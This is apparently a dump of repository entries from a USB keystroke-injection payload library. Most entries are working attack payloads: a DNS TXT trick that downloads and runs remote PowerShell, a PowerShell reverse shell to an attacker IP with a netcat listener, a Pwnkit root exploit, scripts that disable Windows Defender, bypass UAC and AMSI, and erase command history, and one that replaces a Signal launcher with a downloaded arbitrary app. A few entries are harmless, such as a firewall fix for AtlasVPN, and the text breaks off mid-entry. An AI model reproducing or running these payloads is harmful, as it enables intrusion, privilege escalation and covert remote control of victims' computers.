    "content": "EXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\nREM_BLOCK\nTitle: DNS-TXT-CommandInjection\nCONFIGURATION\nREQUIRED - Provide URL used for Example #MY_TARGET_URL\nNOTES: No base64 can be used as an alternative by replacing \"$a=\",\";powershell -e $a\" with just \"|iex\"\nfor the STRING payload below. Examples of the decoded command and encoded command are shown below to put into DNS TXT record.\nDecoded: \"irm http://MY_TARGET_URL/T1.txt | iex\"\nEncoded: \"aQByAG0AIABoAHQAdABwADoALwAvAGUAeABhAG0AcABsAGUALgBjAG8AbQAvAFQAMQAuAHQAeAB0ACAAfAAgAGkAZQB4AA==\"\nCreate TXT record in AWS Route53\nhttps://www.entrust.com/knowledgebase/ssl/how-to-create-a-txt-record-on-amazon-aws-route-53-for-entrust-email-validation-method\nEND_REM\n\nDEFINE #MY_TARGET_URL example.com\nGUI r\nDELAY 500\nSTRINGLN powershell /w 1 $a=(resolve-dnsname #MY_TARGET_URL TXT).strings;powershell -e $a\n"
  },
  {
    "path": "payloads/library/execution/DNS-TXT-CommandInjection/README.md",
    "content": "# DNS-TXT-CommandInjection\nDucky Script uses Resolve-DnsName to perform a DNS name query resolution for a domain hosting a malicious TXT record. The payload leverages DNS TXT records to perform command injection. Windows Powershell is the CLI used by the payload. Replace the DNS TXT record for your domain with the base64 encoded payload you have. \n## Description\nAuthor: Nate\\\nTarget: Windows 10, 11\\\nProps: Hak5, Darren Kitchen, Korben\\\nVersion: 1.0\\\nCategory: Execution\n## Configuration\n1. A domain with the ability to manipulate the DNS TXT records.\n2. Add command to DNS TXT records. See Links for an example of creating your DNS TXT record in AWS Route53 service.\n3. Web Server hosting a file. In this example, python3 http.server was used to host a reverseshell.\n4. Update powershellReverseShellOne-liner.ps1.\n5. Set up istener on the attacker machine to reflect what is in powershellReverseShellOne-liner.ps1. Netcat was used in this example.\n6. Provide URL used for Example #MY_TARGET_URL in DNS-TXT-CommandInjection.txt\n## Notes\nOther commands can be added to DNS TXT record rather than the example below.\nNo base64 can be used as an option by replacing \"$a=\",\";powershell -e $a\" with just \"|iex\" for the STRINGLN payload. Examples of the decoded command and encoded command are shown below to put into the DNS TXT record.\n\nDecoded: \"irm http://MY_TARGET_URL/T1.txt | iex\"\\\nEncoded: \"aQByAG0AIABoAHQAdABwADoALwAvAGUAeABhAG0AcABsAGUALgBjAG8AbQAvAFQAMQAuAHQAeAB0ACAAfAAgAGkAZQB4AA==\"\n\npowershellReverseShellOne-liner.ps1 is identical to T1.txt. (shortened due to character limitations)\\\nShoutOut: powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok. See link below.\n## Windows Commands (used in payload)\n### Execute DNS TXT Payload\n```Powershell\npowershell /w 1 $a=(resolve-dnsname #MY_TARGET_URL TXT).strings;powershell -e $a\n```\n### Execute web hosted Powershell Reverseshell\n```Powershell\nirm http://MY_TARGET_URL/T1.txt | iex\n```\n## Linux Commands\n### Web Server to host a file\n```Bash\npython3 -m http.server 80\n```\n### Netcat listener\n```Bash\nnc -lvnp 1337\n```\n### Links\n\n[Powershell Reverseshell One-liner](https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3)\n\n[Create TXT record in AWS Route53](https://www.entrust.com/knowledgebase/ssl/how-to-create-a-txt-record-on-amazon-aws-route-53-for-entrust-email-validation-method)\n"
  },
  {
    "path": "payloads/library/execution/DNS-TXT-CommandInjection/powershellReverseShellOne-liner.ps1",
    "content": "# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html\n# CONFIGURATION\n# REQUIRED - Provide IP and Port used for Example\n# REQUIRED - MY_TARGET_IP and Port after TCPClient( \n$client = New-Object System.Net.Sockets.TCPClient('MY_TARGET_IP',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex \". { $data } 2>&1\" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\n"
  },
  {
    "path": "payloads/library/execution/DUCKY_REAPER/payload.txt",
    "content": "REM Title: DUCKY_REAPER\nREM Author: JonnyBanana\nREM Requirements -none\nREM How it works?\nREM The script is a One-Liner and call an html page with a css webkit filter attack inside, this webpage crash the system ...\nREM webpage with the exploit here: https://github.com/JonnyBanana/safari-ie-reaper.github.io\nREM the script have 3 version (2 for windows and 1 for mac os)\nREM all payloads here: https://github.com/JonnyBanana/DUCKY_REAPER\nDELAY 2000\nGUI R \nDELAY 500\nSTRING iexplore https://jonnybanana.github.io/safari-ie-reaper.github.io\nDELAY 500\nENTER\n"
  },
  {
    "path": "payloads/library/execution/DawnKit/payload.txt",
    "content": "REM Title: pwnKit\nREM Description: Privilege escalation in Unix-like operating systems\nREM Author: drapl0n\nREM Version: 1.0\nREM Category: Privilege Escalation\nREM Target: Unix-like operating systems\nREM Attackmodes: HID\n\nDELAY 1000\nCTRL-ALT t\nDELAY 1000\nSTRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE\nENTER\nDELAY 400\nSTRING mkdir /tmp/pwn && cd /tmp/pwn\nENTER\nDELAY 400\nSTRING echo -e '\"CFLAGS=-Wall\\nTRUE=$(shell which true)\\n\\n.PHONY: all\\nall: pwnkit.so cve-2021-4034 gconv-modules gconvpath\\n\\n.PHONY: clean\\nclean:\\n\\trm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./\\n\\tmake -C dry-run clean\\n\\ngconv-modules:\\n\\techo \"module UTF-8// PWNKIT// pwnkit 1\" > $@\\n\\n.PHONY: gconvpath\\ngconvpath:\\n\\tmkdir -p GCONV_PATH=.\\n\\tcp -f $(TRUE) GCONV_PATH=./pwnkit.so:.\\n\\npwnkit.so: pwnkit.c\\n\\t$(CC) $(CFLAGS) --shared -fPIC -o $@ $<\\n\\n.PHONY: dry-run\\ndry-run:\\n\\tmake -C dry-run\"' > Makefile\nENTER\nDELAY 400\nSTRING echo -e \"#include <unistd.h>\\n\\nint main(int argc, char **argv)\\n{\\n\\tchar * const args[] = {\\n\\t\\tNULL\\n\\t};\\n\\tchar * const environ[] = {\\n\\t\\t\"\\\"pwnkit.so:.\\\"\",\\n\\t\\t\"\\\"PATH=GCONV_PATH=.\\\"\",\\n\\t\\t\"\\\"SHELL=/lol/i/do/not/exists\\\"\",\\n\\t\\t\"\\\"CHARSET=PWNKIT\\\"\",\\n\\t\\t\"\\\"GIO_USE_VFS=\\\"\",\\n\\t\\tNULL\\n\\t};\\n\\treturn execve(\"\\\"/usr/bin/pkexec\\\"\", args, environ);\\n}\" > cve-2021-4034.c\nENTER\nDELAY 400\nSTRING echo -e \"\"'#!/usr/bin/env sh\\n\\nURL='https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/'\\n\\nfor EXPLOIT in \"${URL}/cve-2021-4034.c\" \"${URL}/pwnkit.c\" \"${URL}/Makefile\"\\ndo\\n\\tcurl -sLO \"$EXPLOIT\" || wget --no-hsts -q \"$EXPLOIT\" -O \"${EXPLOIT##*/}\"\\ndone\\n\\nmake\\n\\n./cve-2021-4034'\"\" > cve-2021-4034.sh\nENTER\nDELAY 400\nSTRING echo -e \"#include <stdio.h>\\n#include <stdlib.h>\\n#include <unistd.h>\\n\\nvoid gconv(void) {\\n}\\n\\nvoid gconv_init(void *step)\\n{\\n\\tchar * const args[] = { \"\\\"/bin/sh\\\"\", NULL };\\n\\tchar * const environ[] = { \"\\\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin\\\"\", NULL };\\n\\tsetuid(0);\\n\\tsetgid(0);\\n\\texecve(args[0], args, environ);\\n\\texit(0);\\n}\" > pwnkit.c\nENTER\nDELAY 200\nSTRING make && ./cve-2021-4034\nENTER\nDELAY 4000\nSTRING rm -rf /tmp/pwn\nENTER\n"
  },
  {
    "path": "payloads/library/execution/Defend_yourself_against_AtlasVPN_Bug-Door/README.md",
    "content": "# Defend yourself against AtlasVPN *Bug-Door*\n\nThis script has been developed to allow you to mitigate a well-known vulnerability in the AtlasVPN client based on its APIs, which, as of today, has not been resolved. The term \"bugdoor\" has been coined to describe this situation, as the bug has been reported multiple times without being addressed, effectively creating an open backdoor (bug + backdoor).\n\n**Category**: Incident Response\n\n![](1.png)\n\n## Table of contents:\n\n- Payload description\n- AtlasVPN vulnerability\n- - Summary\n- - Dependencies\n- Settings\n- - Administrative Privileges\n- - Set the rule\n- - See the rule\n- - Remove the rule\n- Credits\n\n## Payload description\n\nThis payload arises from the need to address a 0day vulnerability, which is now reasonable to assume has been known for mounths (maybe years), within the Linux client of AtlasVPN version 1.0.3. This vulnerability leads to a leakage of the user's real IP address, a situation that typically requires a prompt response from the company to provide a resolution patch and mitigate potential attacks.\n\nHowever, in this case, the user who discovered the vulnerability had already proactively informed and reported it to the company in question. Surprisingly, up to this point, the company has not only failed to release any patches but has also not made any statements regarding the issue. This raises serious doubts about the nature of the problem, prompting questions (as highlighted by the vulnerability reporter) about the possibility that it might be an intentional bug or a deliberate backdoor, given that it is such a trivial error that it is absurd it hasn't been addressed proactively.\n\nIt's important to emphasize that these considerations represent personal opinions based on the original 0day report's message and should encourage discussions about cybersecurity and the reliability of the VPN service offered. If the company decides to provide a patch, it should also be required to explain the reason behind this prolonged negligence.\n\n## AtlasVPN vulnerability\n\nFrom [AtlasVPN Linux Client 1.0.3 Remote Disconnect Exploit](https://www.reddit.com/r/cybersecurity/comments/167f16e/atlasvpn_linux_client_103_remote_disconnect/)\n\n>  The following is my 0day. This code, when executed on any website, disconnects the AtlasVPN linux client and leaks the users IP address. I am not yet aware of it being used in the wild. However, it shows that AtlasVPN does not take their users safety serious, because their software security decisions suck so massively that its hard to believe this is a bug rather than a backdoor. Nobody can be this incompetent. I tried to contact their support to get hold of a security contact, a pgp key or any signs of a bug bounty programme. Nope. No answer.\n\n### Summary\n\n>  The AtlasVPN Linux Client consists of two parts. A daemon (atlasvpnd) that manages the connections and a client (atlasvpn) that the user controls to connect, disconnect and list services. The client does not connect via a local socket or any other secure means but instead it opens an API on localhost on port 8076. It does not have ANY authentication. This port can be accessed by ANY program running on the computer, including the browser. A malicious javascript on ANY website can therefore craft a request to that port and disconnect the VPN. If it then runs another request, this leaks the users home IP address to ANY website using the exploit code.\n\nThe exploit code will not be included in this payload, as the primary goal here is defensive, not offensive. It's important to note that it's relatively easy to find a fully functional Proof of Concept (POC) for this vulnerability online if you need it for vulnerability testing purposes.\n\n### Dependencies\n\nSource [1]: https://www.reddit.com/r/cybersecurity/comments/167f16e/atlasvpn_linux_client_103_remote_disconnect/\n\nSource [2] (Italian article): https://www.redhotcyber.com/post/ce-poco-da-nascondersi-il-bug-sul-client-di-atlas-vpn-rende-tutti-visibili/\n\n## Settings\n\nIn order to mitigate this critical vulnerability, it is imperative to understand its operation at a more detailed level. Specifically, in the case of the AtlasVPN client, it is relevant to note that it opens an API service on localhost at port 8076 without any form of authentication. This lack of authentication allows, based on this specific detail, full access not only to any programs running on the computer but also (and this is the most concerning aspect) to any website making appropriate requests. This is an extremely serious vulnerability that exposes the user significantly. Therefore, waiting for a patch is not acceptable, and it is essential to take prompt action, even independently, perhaps using this payload.\n\nThis \"home-made\" solution involves partially closing port 8076, specifically by disabling the ability to establish new incoming connections through the same port. It is important to note that there are various attack strategies that could potentially bypass this protection, but at least a basic level of security is applied, which is not present by default. It is crucial to understand that this solution does not completely resolve the vulnerability but rather reduces the risk of being targeted by attacks based on it.\n\n### Administrative Privileges\n\nTo apply this homemade patch, you will need to set up a Firewall rule, and therefore, you must have knowledge of the password to acquire administrator or root permissions.\n\n### Set the rule\n\nThe Firewall rule that will be set will aim to block all connections that try to create a new connection on port 8076.\n\n`sudo iptables -A INPUT -p tcp --dport 8076 -m state --state NEW -j DROP`\n\n**sudo**: The command is run with administrator or root privileges to allow configuration of firewall rules.\n\n**iptables**: This is the command for configuring the firewall iptables.\n\n**-A INPUT**: This indicates that the rule will be added to the input chain, which handles incoming traffic.\n\n**-p tcp**: This specifies that the rule applies only to TCP traffic.\n\n**--dport 8076**: Specifies that the rule applies to traffic destined for port 8076.\n\n**-m state --state NEW**: Uses the \"state\" form to specify that the rule applies only to new incoming connections (\"NEW\" state).\n\n**-j DROP**: Indicates that the action to be taken for matches to this rule is \"DROP,\" i.e., rejecting or blocking the connection.\n\n### See the rule\n\nIf you want to see the rule you can use the command `iptables -S` with `grep \"8076\"`.\n\n`sudo iptables -S | grep \"8076\"`\n\n### Remove the rule\n\nOne of the ways to delete iptables rules is by rule specification. To do so, you can run the iptables command with the -D option followed by the rule specification.\n\n`sudo iptables -D INPUT -p tcp --dport 8076 -m state --state NEW -j DROP`\n\n![](1.png)\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/execution/Defend_yourself_against_AtlasVPN_Bug-Door/payload.txt",
    "content": "REM ############################################################\nREM #                                                          #\nREM # Title        : Defend yourself against AtlasVPN Bug-Door #\nREM # Author       : Aleff                                     #\nREM # Version      : 1.0                                       #\nREM # Category     : Execution                                 #\nREM # Target       : Linux                                     #\nREM #                                                          #\nREM ############################################################\n\nREM Requirements:\nREM     - Administrator Permission\nREM     - AtlasVPN installed\n\nREM Define the sudo user password\nDEFINE #SUDO-PWS example\n\nDELAY 1000\nCTRL-ALT t\nDELAY 2000\n\nREM Add the rule and close the shell\nSTRINGLN sudo iptables -A INPUT -p tcp --dport 8076 -m state --state NEW -j DROP; exit;\n\nREM Add the rule and display it\nREM STRINGLN sudo iptables -A INPUT -p tcp --dport 8076 -m state --state NEW -j DROP; sudo iptables -S | grep \"8076\";\n\nREM Remove the rule\nREM STRINGLN sudo iptables -D INPUT -p tcp --dport 8076 -m state --state NEW -j DROP\n\nDELAY 500\nSTRINGLN #SUDO-PWS\n"
  },
  {
    "path": "payloads/library/execution/Delete_A_Reminder_On_An_iPhone/README.md",
    "content": "# Delete A Reminder On An iPhone\n\nThis script can be used to delete a reminder really fast using an iPhone, so iOS system.\n\nOpen search bar, then open the Reminder app (I used the italian name so 'Promemoria'), then delete what is (hidden) stored and write the number, then call it.\n\n**Category**: Execution\n\n## Dependencies\n\n* The phone must be unlocked\n\n## Test\n\n- iPhone 14\n- iOS 16.4.1\n\n## Settings\n\n- You need to change the name of the application according to the language you have on your phone.\n\n  ```DuckyScript\n  [21] DEFINE #REMINDER-APP-NAME example\n  ```\n\n- You should know the reminder name that you want to delete\n\n```DuckyScript\n  [23] DEFINE #REMINDER-NAME example\n```\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/execution/Delete_A_Reminder_On_An_iPhone/payload.txt",
    "content": "REM_BLOCK\n###################################################\n#                                                 #\n# Title        : Delete A Reminder On An iPhone   #\n# Author       : Aleff                            #\n# Version      : 1.0                              #\n# Category     : Execution                        #\n# Target       : iPhone                           #\n#                                                 #\n###################################################\nEND_REM\n\nREM Requirements:\nREM     - The phone must be unlocked\n\nREM Tested on:\nREM     - iPhone 14\nREM     - iOS 16.4.1\n\nREM You need to change the name of the application according to the language you have on your phone.\nDEFINE #REMINDER-APP-NAME example\nREM You should know the reminder name that you want to delete\nDEFINE #REMINDER-NAME example\n\nDELAY 500\nGUI SPACE\nDELAY 300\nSTRINGLN #REMINDER-APP-NAME\nDELAY 2000\nGUI f\nDELAY 1000\nSTRING #REMINDER-NAME\nDELAY 500\nTAB\nDELAY 500\nGUI a\nBACKSPACE\nDELAY 500\nENTER\nDELAY 500\nGUI h\n"
  },
  {
    "path": "payloads/library/execution/Disable_Windows_Defender22H2/Disable_Windows_Defender.txt",
    "content": "REM Disable Windows Defender\nREM VERSION 1.0\nREM Author HackingMark\nREM Disables Tampering Protection and Kills Windows Defender on Win 22H2\nREM Tested on German Computers\nREM Uncomment DISABLE_WINDOWS_DEFENDER() or RESTORE() at the end to use it within the Extension or call it later in your Payload.\n          \n          \nREM Attack Commands for disabling RTP and Defender with (T)/without(F) clearing or (R) Restore\nDEFINE ATTACK_F Set-MpPreference -DisableRealtimeMonitoring $true; New-ItemProperty -Path \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force; exit;\nDEFINE ATTACK_T Set-MpPreference -DisableRealtimeMonitoring $true; New-ItemProperty -Path \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit;\nDEFINE ATTACK_R Set-MpPreference -DisableRealtimeMonitoring $false; New-ItemProperty -Path \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 0 -PropertyType DWORD -Force; exit;\nDEFINE ATTACK_RC Set-MpPreference -DisableRealtimeMonitoring $false; New-ItemProperty -Path \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 0 -PropertyType DWORD -Force; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit;\n\nREM Change the Term for \"Windows-Securitycenter\" for your Target Language here:\nDEFINE TERM_WIN_SEC_CENTER Windows-Sicherheit\nREM CLEAN = TRUE deletes PS History, set to FALSE to run Payload without deleting History\nVAR $clean = TRUE\n\nATTACKMODE HID\nDELAY 2000\nFUNCTION DISABLE_WINDOWS_DEFENDER()\n    GUI s\n    DELAY 500\n    STRINGLN TERM_WIN_SEC_CENTER\n    DELAY 500\n    ENTER\n    TAB\n    TAB\n    TAB\n    TAB\n    ENTER\n    DELAY 500\n    TAB\n    TAB\n    TAB\n    TAB\n    SPACE\n    DELAY 500\n    ALT j\n    DELAY 500\n    ALT F4\n    DELAY 1500\n    GUI x\n    DELAY 100\n    STRING a\n    DELAY 500\n    ALT j\n    DELAY 500\n    IF ($clean == TRUE) THEN\n     STRINGLN ATTACK_T\n    ELSE \n     STRINGLN ATTACK_F\n    END_IF\n\nEND_FUNCTION\n\nFUNCTION RESTORE()\n    GUI x\n    DELAY 100\n    STRING a\n    DELAY 500\n    ALT j\n    DELAY 500\n    IF ($clean == TRUE) THEN\n     STRINGLN ATTACK_RC\n    ELSE \n     STRINGLN ATTACK_R\n    END_IF\nEND_FUNCTION\n\nREM Uncomment the Mode you want to use:\nREM DISABLE_WINDOWS_DEFENDER()\nREM RESTORE()\n\n\n"
  },
  {
    "path": "payloads/library/execution/DuckyHelper/DuckyHelper.txt",
    "content": "REM       DuckyHelper\nREM       Version 1.0\nREM       OS: Windows 10 \nREM       Author: 0i41E\n\nREM       UAC bypass for privilege escalation (Method FodHelper)\nREM       AV will notify, but payload will still be executed\nREM       Payload configured in line 19 & 21 (cmd.exe) : $P=\"cmd.exe /c powershell New-Item 'HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force; Remove-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse;[PAYLOAD]\n\nDELAY 1500\nGUI r\nDELAY 500\nSTRING powershell -NoP -NonI -WindowStyle hidden -Exec Bypass\nDELAY 250\nENTER\n\nDELAY 200\nSTRING $P=\"cmd.exe /c powershell New-Item 'HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Fo\nDELAY 100\nSTRING rce; Remove-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse; cmd.e\nDELAY 100\nSTRING xe\";Start-Sleep 1;New-Item \"HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command\" -Force;;New-ItemProperty -Path \"HKC\nDELAY 100\nSTRING U:\\Software\\Classes\\ms-settings\\Shell\\Open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force;Set-ItemProperty -Path \"H\nDELAY 100\nSTRING KCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command\" -Name \"(default)\" -Value $P -Force;Start-Process \"C:\\Windows\\Sys\nDELAY 100\nSTRING tem32\\fodhelper.exe\" -WindowStyle Hidden;Start-Sleep 3\nDELAY 100\nENTER\n\nDELAY 5000\nGUI r\nDELAY 500\nSTRING powershell -NoP -NonI -Exec Bypass\nDELAY 250\nENTER\n\nDELAY 200\nSTRING Remove-Item \"HKCU:\\Software\\Classes\\ms-settings\\\" -Recurse -Force\nDELAY 100\nENTER\n\nDELAY 300\nSTRING exit\nDELAY 100\nENTER\n"
  },
  {
    "path": "payloads/library/execution/Edit_A_Reminder_On_An_iPhone/README.md",
    "content": "# Edit A Reminder On An iPhone\n\nThis script can be used to change a reminder name really fast using an iPhone, so iOS system.\n\nOpen search bar, then open the REMINDER app (I used the italian name so 'Promemoria'), then delete what is (hidden) stored and write the number, then call it.\n\n**Category**: Execution\n\n## Dependencies\n\n* The phone must be unlocked\n\n## Test\n\n- iPhone 14\n- iOS 16.4.1\n\n## Settings\n\n- You need to change the name of the application according to the language you have on your phone.\n\n  ```DuckyScript\n  [21] DEFINE #REMINDER-APP-NAME\n  ```\n\n- You should know the old name of the reminder that you want to change\n\n```DuckyScript\n  [23] DEFINE #OLD-REMINDER-NAME example\n```\n\n- Here you should set the new reminder name\n\n```DuckyScript\n  [25] DEFIN #NEW-REMINDER-NAME example\n```\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/Edit_A_Reminder_On_An_iPhone/payload.txt",
    "content": "REM_BLOCK\n#################################################\n#                                               #\n# Title        : Edit A Reminder On An iPhone   #\n# Author       : Aleff                          #\n# Version      : 1.0                            #\n# Category     : Execution                      #\n# Target       : iPhone                         #\n#                                               #\n#################################################\nEND_REM\n\nREM Requirements:\nREM     - The phone must be unlocked\n\nREM Tested on:\nREM     - iPhone 14\nREM     - iOS 16.4.1\n\nREM You need to change the name of the application according to the language you have on your phone.\nDEFINE #REMINDER-APP-NAME example\nREM You should know the old name of the reminder that you want to change\nDEFINE #OLD-REMINDER-NAME example\nREM Here you should set the new reminder name\nDEFIN #NEW-REMINDER-NAME example\n\nDELAY 500\nGUI SPACE\nDELAY 300\nSTRINGLN #REMINDER-APP-NAME\nDELAY 2000\nGUI f\nDELAY 1000\nSTRING #OLD-REMINDER-NAME\nDELAY 500\nTAB\nDELAY 500\nGUI a\nBACKSPACE\nSTRINGLN #NEW-REMINDER-NAME\nDELAY 500\nGUI h\n"
  },
  {
    "path": "payloads/library/execution/Edit_The_Default_Real_App_With_An_Arbitrary/README.md",
    "content": "# Edit The Default Real App With An Arbitrary\n\nA script used to download a modified application on the target computer that will be executed insted off the original one without notify it to the user.\n\n**Category**: Execution\n\n## Description\n\nA script used to download a modified application on the target computer that will be executed insted off the original one without notify it to the user.\n\nThe script will download the zip archive in wich you should have the modified application, then unzip the archive and remove the original zip, then replace the original desktop file with the one that is present on the archive.\n\n## Getting Started\n\n### Dependencies\n\n* sudo permissions\n* Internet Connection\n* Original application installed \n\n### Settings\n\n- Set the link from which to download the zipper archive\n```DuckyScript\nDEFINE ARBITRARY_APP_LINK example\n```\n\n- You must set the desktop file path present in the zip file, if i.e. you have the app name Signal and the desktop file path is Signal/files/signal you should put the path Signal/files/signal\n```DuckyScript\nDEFINE PATH_TO_DESKTOP_FILE example/path\n```\n\n- You must know the original desktop name file, if you don't know it you can rich this information download the app on you system and going to /usr/share/applications/ searching this one app, i.e. the desktop file name of Signal application is signal-desktop.desktop, so in this case you should put signal-desktop.desktop\n```DuckyScript\nDEFINE ORIGINAL_DESKTOP_FILE_NAME example\n```\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/Edit_The_Default_Real_App_With_An_Arbitrary/[EXAMPLE]arbitrary_file.desktop",
    "content": "[Desktop Entry]\nName=Signal\nExec=~/.arbitrary/bin/signal-desktop --no-sandbox %U\nTerminal=false\nType=Application\nIcon=signal-desktop\nStartupWMClass=Signal\nComment=Private messaging from your desktop\nMimeType=x-scheme-handler/sgnl;x-scheme-handler/signalcaptcha;\nCategories=Network;InstantMessaging;Chat;"
  },
  {
    "path": "payloads/library/execution/Edit_The_Default_Real_App_With_An_Arbitrary/[EXAMPLE]original_desktop_file.desktop",
    "content": "[Desktop Entry]\nName=Signal\nExec=/opt/Signal/signal-desktop --no-sandbox %U\nTerminal=false\nType=Application\nIcon=signal-desktop\nStartupWMClass=Signal\nComment=Private messaging from your desktop\nMimeType=x-scheme-handler/sgnl;x-scheme-handler/signalcaptcha;\nCategories=Network;InstantMessaging;Chat;"
  },
  {
    "path": "payloads/library/execution/Edit_The_Default_Real_App_With_An_Arbitrary/payload.txt",
    "content": "\nREM ################################################################\nREM #                                                              |\nREM # Title        : Edit The Default Real App With An Arbitrary   |\nREM # Author       : Aleff                                         |\nREM # Version      : 1.0                                           |\nREM # Category     : Execution                                     |\nREM # Target       : GNU/Linux (Debian based tested)               |\nREM #                                                              |\nREM ################################################################\n\n\nREM Requirements:\nREM     - sudo permissions\nREM     - Internet connection\nREM     - Executable app\nREM     - '.desktop' file\n\n\nREM Note:\nREM     - The Depends* time depends by the app size, the connection fast and the computer power, you should test it\n\n\nREM Set the link from wich will be downloaded the zip archive\nDEFINE ARBITRARY_APP_LINK example\n\nREM You must set the desktop file path present in the zip file, if i.e. you have the app name Signal and the desktop file path is Signal/files/signal you should put the path Signal/files/signal\nDEFINE PATH_TO_DESKTOP_FILE example/path\n\nREM You must know the original desktop name file, if you don't know it you can rich this information download the app on you system and going to /usr/share/applications/ searching this one app, i.e. the desktop file name of Signal application is signal-desktop.desktop, so in this case you should put signal-desktop.desktop\nDEFINE 